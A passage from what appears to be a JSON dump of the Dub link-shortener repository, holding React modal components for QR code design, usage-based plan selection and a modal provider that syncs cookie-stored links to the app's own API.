loading={updating}\n          text={\n            updating ? \"Saving...\" : `Save ${links.length > 1 ? \"changes\" : \"\"}`\n          }\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </>\n  );\n}\n\nexport function useLinkConversionTrackingModal({\n  props,\n}: {\n  props: LinkProps | LinkProps[];\n}) {\n  const [showLinkConversionTrackingModal, setShowLinkConversionTrackingModal] =\n    useState(false);\n\n  const LinkConversionTrackingModalCallback = useCallback(() => {\n    return props ? (\n      <LinkConversionTrackingModal\n        showLinkConversionTrackingModal={showLinkConversionTrackingModal}\n        setShowLinkConversionTrackingModal={setShowLinkConversionTrackingModal}\n        links={Array.isArray(props) ? props : [props]}\n      />\n    ) : null;\n  }, [\n    showLinkConversionTrackingModal,\n    setShowLinkConversionTrackingModal,\n    props,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowLinkConversionTrackingModal,\n      LinkConversionTrackingModal: LinkConversionTrackingModalCallback,\n    }),\n    [setShowLinkConversionTrackingModal, LinkConversionTrackingModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-qr-modal.tsx",
    "content": "import { getQRAsCanvas, getQRAsSVGDataUri, getQRData } from \"@/lib/qr\";\nimport useDomain from \"@/lib/swr/use-domain\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { QRLinkProps } from \"@/lib/types\";\nimport { QRCode } from \"@/ui/shared/qr-code\";\nimport {\n  Button,\n  ButtonTooltip,\n  IconMenu,\n  InfoTooltip,\n  Modal,\n  Popover,\n  ShimmerDots,\n  Switch,\n  Tooltip,\n  TooltipContent,\n  useCopyToClipboard,\n  useLocalStorage,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport {\n  Check,\n  Check2,\n  Copy,\n  CrownSmall,\n  Download,\n  Hyperlink,\n  Photo,\n} from \"@dub/ui/icons\";\nimport { API_DOMAIN, cn, DUB_QR_LOGO, linkConstructor } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport {\n  Dispatch,\n  PropsWithChildren,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { HexColorInput, HexColorPicker } from \"react-colorful\";\nimport { toast } from \"sonner\";\nimport { useDebouncedCallback } from \"use-debounce\";\nimport { ProBadgeTooltip } from \"../shared/pro-badge-tooltip\";\n\nconst DEFAULT_COLORS = [\n  \"#000000\",\n  \"#C73E33\",\n  \"#DF6547\",\n  \"#F4B3D7\",\n  \"#F6CF54\",\n  \"#49A065\",\n  \"#2146B7\",\n  \"#AE49BF\",\n];\n\nexport type QRCodeDesign = {\n  fgColor: string;\n  hideLogo: boolean;\n};\n\ntype LinkQRModalProps = {\n  props: QRLinkProps;\n  onSave?: (data: QRCodeDesign) => void;\n};\n\nfunction LinkQRModal(\n  props: {\n    showLinkQRModal: boolean;\n    setShowLinkQRModal: Dispatch<SetStateAction<boolean>>;\n  } & LinkQRModalProps,\n) {\n  return (\n    <Modal\n      showModal={props.showLinkQRModal}\n      setShowModal={props.setShowLinkQRModal}\n      className=\"max-w-[500px]\"\n    >\n      <LinkQRModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction LinkQRModalInner({\n  props,\n  onSave,\n  showLinkQRModal,\n  setShowLinkQRModal,\n}: {\n  showLinkQRModal: boolean;\n  setShowLinkQRModal: Dispatch<SetStateAction<boolean>>;\n} & LinkQRModalProps) {\n  const { id: workspaceId, slug, plan, logo: workspaceLogo } = useWorkspace();\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const { logo: domainLogo } = useDomain({\n    slug: props.domain,\n    enabled: showLinkQRModal,\n  });\n\n  const url = useMemo(() => {\n    return props.key && props.domain\n      ? linkConstructor({ key: props.key, domain: props.domain })\n      : undefined;\n  }, [props.key, props.domain]);\n\n  const [dataPersisted, setDataPersisted] = useLocalStorage<QRCodeDesign>(\n    `qr-code-design-${workspaceId}`,\n    {\n      fgColor: \"#000000\",\n      hideLogo: false,\n    },\n  );\n\n  const [data, setData] = useState(dataPersisted);\n\n  const hideLogo = data.hideLogo && plan !== \"free\";\n  const logo =\n    plan === \"free\" ? DUB_QR_LOGO : domainLogo || workspaceLogo || DUB_QR_LOGO;\n\n  const qrData = useMemo(\n    () =>\n      url\n        ? getQRData({\n            url,\n            fgColor: data.fgColor,\n            hideLogo,\n            logo,\n          })\n        : null,\n    [url, data, hideLogo, logo],\n  );\n\n  const onColorChange = useDebouncedCallback(\n    (color: string) => setData((d) => ({ ...d, fgColor: color })),\n    500,\n  );\n\n  return (\n    <form\n      className=\"flex flex-col gap-6 p-4\"\n      onSubmit={(e) => {\n        e.preventDefault();\n        e.stopPropagation();\n        setShowLinkQRModal(false);\n\n        setDataPersisted(data);\n        onSave?.(data);\n      }}\n    >\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-lg font-medium\">QR Code</h3>\n          <ProBadgeTooltip content=\"Set a custom QR code design to improve click-through rates. [Learn more.](https://dub.co/help/article/custom-qr-codes)\" />\n        </div>\n        <div className=\"max-md:hidden\">\n          <Tooltip\n            content={\n              <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                Press{\" \"}\n                <strong className=\"font-medium text-neutral-950\">Q</strong> to\n                open this quickly\n              </div>\n            }\n            side=\"right\"\n          >\n            <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n              Q\n            </kbd>\n          </Tooltip>\n        </div>\n      </div>\n\n      <div>\n        <div className=\"flex items-center justify-between gap-2\">\n          <div className=\"flex items-center gap-2\">\n            <span className=\"text-sm font-medium text-neutral-700\">\n              QR Code Preview\n            </span>\n            <InfoTooltip content=\"Customize your QR code to fit your brand. [Learn more.](https://dub.co/help/article/custom-qr-codes)\" />\n          </div>\n          {url && qrData && (\n            <div className=\"flex items-center gap-2\">\n              <DownloadPopover qrData={qrData} props={props}>\n                <div>\n                  <ButtonTooltip\n                    tooltipProps={{\n                      content: \"Download QR code\",\n                    }}\n                  >\n                    <Download className=\"h-4 w-4 text-neutral-500\" />\n                  </ButtonTooltip>\n                </div>\n              </DownloadPopover>\n              <CopyPopover qrData={qrData} props={props}>\n                <div>\n                  <ButtonTooltip\n                    tooltipProps={{\n                      content: \"Copy QR code\",\n                    }}\n                  >\n                    <Copy className=\"h-4 w-4 text-neutral-500\" />\n                  </ButtonTooltip>\n                </div>\n              </CopyPopover>\n            </div>\n          )}\n        </div>\n        <div className=\"relative mt-2 flex h-44 items-center justify-center overflow-hidden rounded-md border border-neutral-300\">\n          {!isMobile && (\n            <ShimmerDots className=\"opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n          )}\n          {url && (\n            <AnimatePresence mode=\"wait\">\n              <motion.div\n                key={data.fgColor + data.hideLogo}\n                initial={{ filter: \"blur(2px)\", opacity: 0.4 }}\n                animate={{ filter: \"blur(0px)\", opacity: 1 }}\n                exit={{ filter: \"blur(2px)\", opacity: 0.4 }}\n                transition={{ duration: 0.1 }}\n                className=\"relative flex size-full items-center justify-center\"\n              >\n                <QRCode\n                  url={url}\n                  fgColor={data.fgColor}\n                  hideLogo={data.hideLogo}\n                  logo={logo}\n                  scale={1}\n                />\n              </motion.div>\n            </AnimatePresence>\n          )}\n        </div>\n      </div>\n\n      {/* Logo toggle */}\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <label\n            className=\"text-sm font-medium text-neutral-700\"\n            htmlFor={`${id}-show-logo`}\n          >\n            Logo\n          </label>\n          <InfoTooltip content=\"Display your logo in the center of the QR code. [Learn more.](https://dub.co/help/article/custom-qr-codes)\" />\n        </div>\n        <Switch\n          id={`${id}-hide-logo`}\n          checked={!data.hideLogo}\n          fn={() => {\n            setData((d) => ({ ...d, hideLogo: !d.hideLogo }));\n          }}\n          disabledTooltip={\n            !plan || plan === \"free\" ? (\n              <TooltipContent\n                title=\"You need to be on the Pro plan and above to customize your QR Code logo.\"\n                cta=\"Upgrade to Pro\"\n                href={slug ? `/${slug}/upgrade` : \"https://dub.co/pricing\"}\n                target=\"_blank\"\n              />\n            ) : undefined\n          }\n          thumbIcon={\n            !plan || plan === \"free\" ? (\n              <CrownSmall className=\"size-full text-neutral-500\" />\n            ) : undefined\n          }\n        />\n      </div>\n\n      {/* Color selector */}\n      <div>\n        <span className=\"block text-sm font-medium text-neutral-700\">\n          QR Code Color\n        </span>\n        <div className=\"mt-2 flex gap-6\">\n          <div className=\"relative flex h-9 w-32 shrink-0 rounded-md shadow-sm\">\n            <Tooltip\n              content={\n                <div className=\"flex max-w-xs flex-col items-center space-y-3 p-5 text-center\">\n                  <HexColorPicker\n                    color={data.fgColor}\n                    onChange={onColorChange}\n                  />\n                </div>\n              }\n            >\n              <div\n                className=\"h-full w-12 rounded-l-md border\"\n                style={{\n                  backgroundColor: data.fgColor,\n                  borderColor: data.fgColor,\n                }}\n              />\n            </Tooltip>\n            <HexColorInput\n              id=\"color\"\n              name=\"color\"\n              color={data.fgColor}\n              onChange={onColorChange}\n              prefixed\n              style={{ borderColor: data.fgColor }}\n              className=\"block w-full rounded-r-md border-2 border-l-0 pl-3 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-black sm:text-sm\"\n            />\n          </div>\n          <div className=\"mt-1 flex flex-wrap items-center gap-3\">\n            {DEFAULT_COLORS.map((color) => {\n              const isSelected = data.fgColor === color;\n              return (\n                <button\n                  key={color}\n                  type=\"button\"\n                  aria-pressed={isSelected}\n                  onClick={() => setData((d) => ({ ...d, fgColor: color }))}\n                  className={cn(\n                    \"flex size-7 items-center justify-center rounded-full transition-all\",\n                    isSelected\n                      ? \"ring-1 ring-black ring-offset-[3px]\"\n                      : \"ring-black/10 hover:ring-4\",\n                  )}\n                  style={{ backgroundColor: color }}\n                >\n                  {isSelected && <Check2 className=\"size-4 text-white\" />}\n                </button>\n              );\n            })}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2\">\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-9 w-fit\"\n          onClick={() => {\n            setShowLinkQRModal(false);\n          }}\n        />\n        <Button\n          type=\"submit\"\n          variant=\"primary\"\n          text=\"Save changes\"\n          className=\"h-9 w-fit\"\n        />\n      </div>\n    </form>\n  );\n}\n\nfunction DownloadPopover({\n  qrData,\n  props,\n  children,\n}: PropsWithChildren<{\n  qrData: ReturnType<typeof getQRData>;\n  props: QRLinkProps;\n}>) {\n  const anchorRef = useRef<HTMLAnchorElement>(null);\n\n  function download(url: string, extension: string) {\n    if (!anchorRef.current) return;\n    anchorRef.current.href = url;\n    anchorRef.current.download = `${props.key}-qrcode.${extension}`;\n    anchorRef.current.click();\n    setOpenPopover(false);\n  }\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <div>\n      <Popover\n        content={\n          <div className=\"grid p-1 sm:min-w-48\">\n            <button\n              type=\"button\"\n              onClick={async () => {\n                download(await getQRAsSVGDataUri(qrData), \"svg\");\n              }}\n              className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n            >\n              <IconMenu\n                text=\"Download SVG\"\n                icon={<Photo className=\"h-4 w-4\" />}\n              />\n            </button>\n            <button\n              type=\"button\"\n              onClick={async () => {\n                download(\n                  (await getQRAsCanvas(qrData, \"image/png\")) as string,\n                  \"png\",\n                );\n              }}\n              className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n            >\n              <IconMenu\n                text=\"Download PNG\"\n                icon={<Photo className=\"h-4 w-4\" />}\n              />\n            </button>\n            <button\n              type=\"button\"\n              onClick={async () => {\n                download(\n                  (await getQRAsCanvas(qrData, \"image/jpeg\")) as string,\n                  \"jpg\",\n                );\n              }}\n              className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n            >\n              <IconMenu\n                text=\"Download JPEG\"\n                icon={<Photo className=\"h-4 w-4\" />}\n              />\n            </button>\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        {children}\n      </Popover>\n      {/* This will be used to prompt downloads. */}\n      <a\n        className=\"hidden\"\n        download={`${props.key}-qrcode.svg`}\n        ref={anchorRef}\n      />\n    </div>\n  );\n}\n\nfunction CopyPopover({\n  qrData,\n  props,\n  children,\n}: PropsWithChildren<{\n  qrData: ReturnType<typeof getQRData>;\n  props: QRLinkProps;\n}>) {\n  const [openPopover, setOpenPopover] = useState(false);\n  const [copiedURL, copyUrlToClipboard] = useCopyToClipboard(2000);\n  const [copiedImage, copyImageToClipboard] = useCopyToClipboard(2000);\n\n  const copyToClipboard = async () => {\n    try {\n      const canvas = await getQRAsCanvas(qrData, \"image/png\", true);\n      (canvas as HTMLCanvasElement).toBlob(async function (blob) {\n        // @ts-ignore\n        const item = new ClipboardItem({ \"image/png\": blob });\n        await copyImageToClipboard(item);\n        setOpenPopover(false);\n      });\n    } catch (e) {\n      throw e;\n    }\n  };\n\n  return (\n    <Popover\n      content={\n        <div className=\"grid p-1 sm:min-w-48\">\n          <button\n            type=\"button\"\n            onClick={async () => {\n              toast.promise(copyToClipboard, {\n                loading: \"Copying QR code to clipboard...\",\n                success: \"Copied QR code to clipboard!\",\n                error: \"Failed to copy\",\n              });\n            }}\n            className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n          >\n            <IconMenu\n              text=\"Copy Image\"\n              icon={\n                copiedImage ? (\n                  <Check className=\"h-4 w-4\" />\n                ) : (\n                  <Photo className=\"h-4 w-4\" />\n                )\n              }\n            />\n          </button>\n          <button\n            type=\"button\"\n            onClick={() => {\n              const url = `${API_DOMAIN}/qr?url=${linkConstructor({\n                key: props.key,\n                domain: props.domain,\n                searchParams: {\n                  qr: \"1\",\n                },\n              })}${qrData.hideLogo ? \"&hideLogo=true\" : \"\"}`;\n              toast.promise(copyUrlToClipboard(url), {\n                success: \"Copied QR code URL to clipboard!\",\n              });\n              setOpenPopover(false);\n            }}\n            className=\"rounded-md p-2 text-left text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n          >\n            <IconMenu\n              text=\"Copy URL\"\n              icon={\n                copiedURL ? (\n                  <Check className=\"h-4 w-4\" />\n                ) : (\n                  <Hyperlink className=\"h-4 w-4\" />\n                )\n              }\n            />\n          </button>\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      {children}\n    </Popover>\n  );\n}\n\nexport function useLinkQRModal(props: LinkQRModalProps) {\n  const [showLinkQRModal, setShowLinkQRModal] = useState(false);\n\n  const LinkQRModalCallback = useCallback(() => {\n    return (\n      <LinkQRModal\n        showLinkQRModal={showLinkQRModal}\n        setShowLinkQRModal={setShowLinkQRModal}\n        {...props}\n      />\n    );\n  }, [showLinkQRModal, setShowLinkQRModal]);\n\n  return useMemo(\n    () => ({\n      setShowLinkQRModal,\n      LinkQRModal: LinkQRModalCallback,\n    }),\n    [setShowLinkQRModal, LinkQRModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/manage-usage-modal.tsx",
    "content": "import { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CursorRays, Hyperlink, Modal, Slider, ToggleGroup } from \"@dub/ui\";\nimport {\n  ENTERPRISE_PLAN,\n  SELF_SERVE_PAID_PLANS,\n  cn,\n  getSuggestedPlan,\n  isDowngradePlan,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport Link from \"next/link\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { UpgradePlanButton } from \"../workspaces/upgrade-plan-button\";\n\ntype ManageUsageModalProps = {\n  type: \"links\" | \"events\";\n  showManageUsageModal: boolean;\n  setShowManageUsageModal: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction ManageUsageModalContent({ type }: ManageUsageModalProps) {\n  const workspace = useWorkspace();\n  const { slug, role, plan, planTier, usageLimit, linksLimit } = workspace;\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"billing.write\",\n    role,\n  });\n\n  const usageSteps = useMemo(() => {\n    const limitKey = { events: \"clicks\" }[type] ?? type;\n\n    return [\n      ...new Set(\n        [...SELF_SERVE_PAID_PLANS, ENTERPRISE_PLAN]\n          .flatMap((p) => [\n            p.limits[limitKey],\n            ...Object.values(p.tiers ?? {}).map(\n              ({ limits }) => limits[limitKey],\n            ),\n          ])\n          .sort((a, b) => a - b),\n      ),\n    ];\n  }, [type]);\n\n  const defaultValue = useMemo(() => {\n    const currentLimit =\n      workspace[{ events: \"usageLimit\", links: \"linksLimit\" }[type]];\n    return usageSteps.reduce((prev, curr) =>\n      Math.abs(curr - currentLimit) < Math.abs(prev - currentLimit)\n        ? curr\n        : prev,\n    );\n  }, [usageSteps, workspace]);\n\n  const [selectedValue, setSelectedValue] = useState<number | null>(null);\n  const [period, setPeriod] = useState<\"monthly\" | \"yearly\">(\"monthly\");\n\n  const { plan: suggestedPlan, planTier: suggestedPlanTier } = getSuggestedPlan(\n    {\n      [type]: selectedValue ?? defaultValue,\n    },\n  );\n\n  const isCurrentPlanSuggested =\n    plan === suggestedPlan.name.toLowerCase() &&\n    suggestedPlanTier === (planTier ?? 1);\n\n  const isDowngradeSuggested =\n    plan &&\n    isDowngradePlan({\n      currentPlan: plan,\n      newPlan: suggestedPlan.name,\n      currentTier: planTier ?? 1,\n      newTier: suggestedPlanTier,\n    });\n\n  if (usageSteps.length < 2) return null;\n\n  return (\n    <div className=\"bg-neutral-50\">\n      <div className=\"border-b border-neutral-200 bg-white px-5 py-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Manage {type}</h3>\n      </div>\n\n      <div className=\"px-5 py-6\">\n        <p className=\"text-content-default text-sm font-medium\">\n          {\n            {\n              events: \"Events tracked per month\",\n              links: \"Links created per month\",\n            }[type]\n          }\n        </p>\n        <NumberFlow\n          value={selectedValue ?? defaultValue}\n          className=\"text-content-emphasis mb-4 text-lg font-semibold\"\n        />\n\n        <Slider\n          value={usageSteps.indexOf(selectedValue ?? defaultValue)}\n          min={0}\n          max={usageSteps.length - 1}\n          onChange={(idx) => setSelectedValue(usageSteps[idx])}\n          marks={usageSteps.map((_, idx) => idx)}\n        />\n\n        <div className=\"mt-6\">\n          <ToggleGroup\n            options={[\n              { value: \"monthly\", label: \"Monthly\" },\n              {\n                value: \"yearly\",\n                label: \"Yearly (Save 17%)\",\n              },\n            ]}\n            className=\"flex overflow-hidden rounded-lg bg-transparent p-0.5\"\n            indicatorClassName=\"rounded-md bg-white shadow-md\"\n            optionClassName=\"text-xs py-2 px-5 normal-case grow justify-center text-center\"\n            selected={period}\n            selectAction={(period) => setPeriod(period as \"monthly\" | \"yearly\")}\n          />\n\n          <div className=\"border-border-subtle bg-bg-default mt-3 flex flex-col gap-5 rounded-xl border p-4 shadow-sm\">\n            <div>\n              <span className=\"text-content-emphasis block text-xl font-semibold\">\n                {suggestedPlan.name}\n              </span>\n              <div className=\"relative flex items-center gap-1\">\n                {!suggestedPlan.price[period] ? (\n                  <span className=\"pb-px text-sm font-medium text-neutral-900\">\n                    Custom\n                  </span>\n                ) : (\n                  <>\n                    <NumberFlow\n                      value={suggestedPlan.price[period]!}\n                      className=\"text-sm font-medium tabular-nums text-neutral-700\"\n                      format={{\n                        style: \"currency\",\n                        currency: \"USD\",\n                        minimumFractionDigits: 0,\n                      }}\n                      continuous\n                    />\n                    <span className=\"text-sm font-medium text-neutral-400\">\n                      per month\n                      {period === \"yearly\" && \", billed yearly\"}\n                    </span>\n                  </>\n                )}\n              </div>\n            </div>\n\n            {suggestedPlan.name === \"Enterprise\" ? (\n              <Link\n                href=\"https://dub.co/contact/sales\"\n                target=\"_blank\"\n                className={cn(\n                  \"flex h-8 w-full items-center justify-center rounded-lg text-center text-sm transition-all duration-200 ease-in-out\",\n                  \"hover:ring-border-subtle border border-black bg-black text-white shadow-sm hover:ring-4\",\n                )}\n              >\n                Contact us\n              </Link>\n            ) : (\n              <UpgradePlanButton\n                plan={suggestedPlan.name.toLowerCase()}\n                tier={suggestedPlanTier}\n                period={period}\n                disabled={isCurrentPlanSuggested}\n                disabledTooltip={permissionsError || undefined}\n                text={\n                  isCurrentPlanSuggested\n                    ? \"Current plan\"\n                    : isDowngradeSuggested\n                      ? \"Downgrade\"\n                      : \"Upgrade\"\n                }\n                variant={isDowngradeSuggested ? \"secondary\" : \"primary\"}\n                className=\"h-8 rounded-lg shadow-sm\"\n              />\n            )}\n\n            <div className=\"flex flex-col gap-2.5\">\n              {[\n                {\n                  icon: CursorRays,\n                  value: suggestedPlan.limits.clicks,\n                  label: `total tracked events/mo`,\n                  difference: suggestedPlan.limits.clicks - (usageLimit ?? 0),\n                },\n                {\n                  icon: Hyperlink,\n                  value: suggestedPlan.limits.links,\n                  label: `new links/mo`,\n                  difference: suggestedPlan.limits.links - (linksLimit ?? 0),\n                },\n              ].map(({ icon: Icon, value, label, difference }) => (\n                <div\n                  key={label}\n                  className=\"text-content-default flex items-center gap-2 text-sm\"\n                >\n                  <Icon\n                    className={cn(\"size-4\", difference > 0 && \"text-blue-600\")}\n                  />\n                  <span>\n                    <NumberFlow\n                      value={value}\n                      className=\"tabular-nums\"\n                      format={{\n                        notation: \"compact\",\n                      }}\n                      continuous\n                    />{\" \"}\n                    {label}\n                  </span>\n                  {difference !== 0 && (\n                    <span\n                      className={cn(\n                        \"flex h-[18px] items-center rounded-full px-1.5 text-[0.5rem] font-semibold uppercase leading-none\",\n                        difference > 0\n                          ? \"bg-blue-100 text-blue-600\"\n                          : \"text-content-default bg-bg-subtle\",\n                      )}\n                    >\n                      {difference > 0 ? \"Increases\" : \"Decreases\"}\n                    </span>\n                  )}\n                </div>\n              ))}\n            </div>\n          </div>\n\n          <div className=\"mt-4 flex justify-center\">\n            <Link\n              href={`/${slug}/settings/billing/upgrade`}\n              className=\"text-content-subtle hover:text-content-default block text-xs font-medium underline underline-offset-2\"\n            >\n              View all plans\n            </Link>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction ManageUsageModal(props: ManageUsageModalProps) {\n  return (\n    <Modal\n      showModal={props.showManageUsageModal}\n      setShowModal={props.setShowManageUsageModal}\n    >\n      <ManageUsageModalContent {...props} />\n    </Modal>\n  );\n}\n\nexport function useManageUsageModal(\n  props: Omit<\n    ManageUsageModalProps,\n    \"showManageUsageModal\" | \"setShowManageUsageModal\"\n  >,\n) {\n  const [showManageUsageModal, setShowManageUsageModal] = useState(false);\n\n  const ManageUsageModalCallback = useCallback(() => {\n    return (\n      <ManageUsageModal\n        showManageUsageModal={showManageUsageModal}\n        setShowManageUsageModal={setShowManageUsageModal}\n        {...props}\n      />\n    );\n  }, [showManageUsageModal, setShowManageUsageModal]);\n\n  return useMemo(\n    () => ({\n      setShowManageUsageModal,\n      ManageUsageModal: ManageUsageModalCallback,\n    }),\n    [setShowManageUsageModal, ManageUsageModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/modal-provider.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { SimpleLinkProps } from \"@/lib/types\";\nimport { useAddEditDomainModal } from \"@/ui/modals/add-edit-domain-modal\";\nimport { useAddWorkspaceModal } from \"@/ui/modals/add-workspace-modal\";\nimport { useImportBitlyModal } from \"@/ui/modals/import-bitly-modal\";\nimport { useImportCsvModal } from \"@/ui/modals/import-csv-modal\";\nimport { useImportShortModal } from \"@/ui/modals/import-short-modal\";\nimport { useCookies } from \"@dub/ui\";\nimport { DEFAULT_LINK_PROPS, getUrlFromString } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  ReactNode,\n  SetStateAction,\n  Suspense,\n  createContext,\n  useEffect,\n  useMemo,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { useAddEditTagModal } from \"./add-edit-tag-modal\";\nimport { useImportPartnerStackModal } from \"./import-partnerstack-modal\";\nimport { useImportRebrandlyModal } from \"./import-rebrandly-modal\";\nimport { useImportRewardfulModal } from \"./import-rewardful-modal\";\nimport { useImportToltModal } from \"./import-tolt-modal\";\nimport { useLinkBuilder } from \"./link-builder\";\nimport { useProgramWelcomeModal } from \"./program-welcome-modal\";\nimport { useUpgradedModal } from \"./upgraded-modal\";\n\nexport const ModalContext = createContext<{\n  setShowAddWorkspaceModal: Dispatch<SetStateAction<boolean>>;\n  setShowAddEditDomainModal: Dispatch<SetStateAction<boolean>>;\n  setShowLinkBuilder: Dispatch<SetStateAction<boolean>>;\n  setShowAddEditTagModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportBitlyModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportShortModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportRebrandlyModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportCsvModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportPartnerStackModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportRewardfulModal: Dispatch<SetStateAction<boolean>>;\n  setShowImportToltModal: Dispatch<SetStateAction<boolean>>;\n}>({\n  setShowAddWorkspaceModal: () => {},\n  setShowAddEditDomainModal: () => {},\n  setShowLinkBuilder: () => {},\n  setShowAddEditTagModal: () => {},\n  setShowImportBitlyModal: () => {},\n  setShowImportShortModal: () => {},\n  setShowImportRebrandlyModal: () => {},\n  setShowImportCsvModal: () => {},\n  setShowImportPartnerStackModal: () => {},\n  setShowImportRewardfulModal: () => {},\n  setShowImportToltModal: () => {},\n});\n\nexport function ModalProvider({ children }: { children: ReactNode }) {\n  return (\n    <Suspense>\n      <ModalProviderClient>{children}</ModalProviderClient>\n    </Suspense>\n  );\n}\n\nfunction ModalProviderClient({ children }: { children: ReactNode }) {\n  const searchParams = useSearchParams();\n  const newLinkValues = useMemo(() => {\n    const newLink = searchParams.get(\"newLink\");\n    if (newLink && getUrlFromString(newLink)) {\n      return {\n        url: getUrlFromString(newLink),\n        domain: searchParams.get(\"newLinkDomain\"),\n      };\n    } else {\n      return null;\n    }\n  }, [searchParams]);\n\n  const { AddWorkspaceModal, setShowAddWorkspaceModal } =\n    useAddWorkspaceModal();\n  const { setShowAddEditDomainModal, AddEditDomainModal } =\n    useAddEditDomainModal();\n  const { setShowLinkBuilder, LinkBuilder } = useLinkBuilder(\n    newLinkValues?.url\n      ? {\n          duplicateProps: {\n            ...DEFAULT_LINK_PROPS,\n            ...(newLinkValues.domain && { domain: newLinkValues.domain }),\n            url: newLinkValues.url === \"true\" ? \"\" : newLinkValues.url,\n          },\n        }\n      : {},\n  );\n  const { setShowAddEditTagModal, AddEditTagModal } = useAddEditTagModal();\n  const { setShowImportBitlyModal, ImportBitlyModal } = useImportBitlyModal();\n  const { setShowImportShortModal, ImportShortModal } = useImportShortModal();\n  const { setShowImportRebrandlyModal, ImportRebrandlyModal } =\n    useImportRebrandlyModal();\n  const { setShowImportCsvModal, ImportCsvModal } = useImportCsvModal();\n  const { setShowUpgradedModal, UpgradedModal } = useUpgradedModal();\n  const { setShowProgramWelcomeModal, ProgramWelcomeModal } =\n    useProgramWelcomeModal();\n  const { setShowImportPartnerStackModal, ImportPartnerStackModal } =\n    useImportPartnerStackModal();\n  const { setShowImportRewardfulModal, ImportRewardfulModal } =\n    useImportRewardfulModal();\n  const { setShowImportToltModal, ImportToltModal } = useImportToltModal();\n\n  useEffect(() => {\n    setShowProgramWelcomeModal(searchParams.has(\"onboarded-program\"));\n\n    if (searchParams.has(\"upgraded\")) {\n      setShowUpgradedModal(true);\n    }\n  }, [searchParams]);\n\n  const [hashes, setHashes] = useCookies<SimpleLinkProps[]>(\"hashes__dub\", [], {\n    domain: !!process.env.NEXT_PUBLIC_VERCEL_URL ? \".dub.co\" : undefined,\n  });\n\n  const { id: workspaceId, error } = useWorkspace();\n  useEffect(() => {\n    if (hashes.length > 0 && workspaceId) {\n      toast.promise(\n        fetch(`/api/links/sync?workspaceId=${workspaceId}`, {\n          method: \"POST\",\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n          body: JSON.stringify(hashes),\n        }).then(async (res) => {\n          if (res.status === 200) {\n            await mutatePrefix(\"/api/links\");\n            setHashes([]);\n          }\n        }),\n        {\n          loading: \"Importing links...\",\n          success: \"Links imported successfully!\",\n          error: \"Something went wrong while importing links.\",\n        },\n      );\n    }\n  }, [hashes, workspaceId]);\n\n  // handle ?newWorkspace and ?newLink query params\n  useEffect(() => {\n    if (searchParams.has(\"newWorkspace\")) {\n      setShowAddWorkspaceModal(true);\n    }\n    if (searchParams.has(\"newLink\")) {\n      setShowLinkBuilder(true);\n    }\n  }, []);\n\n  const { data: session, update } = useSession();\n  const { workspaces } = useWorkspaces();\n\n  // if user has workspaces but no defaultWorkspace, refresh to get defaultWorkspace\n  useEffect(() => {\n    if (\n      workspaces &&\n      workspaces.length > 0 &&\n      session?.user &&\n      !session.user[\"defaultWorkspace\"]\n    ) {\n      fetch(\"/api/user\", {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({\n          defaultWorkspace: workspaces[0].slug,\n        }),\n      }).then(() => update());\n    }\n  }, [session]);\n\n  return (\n    <ModalContext.Provider\n      value={{\n        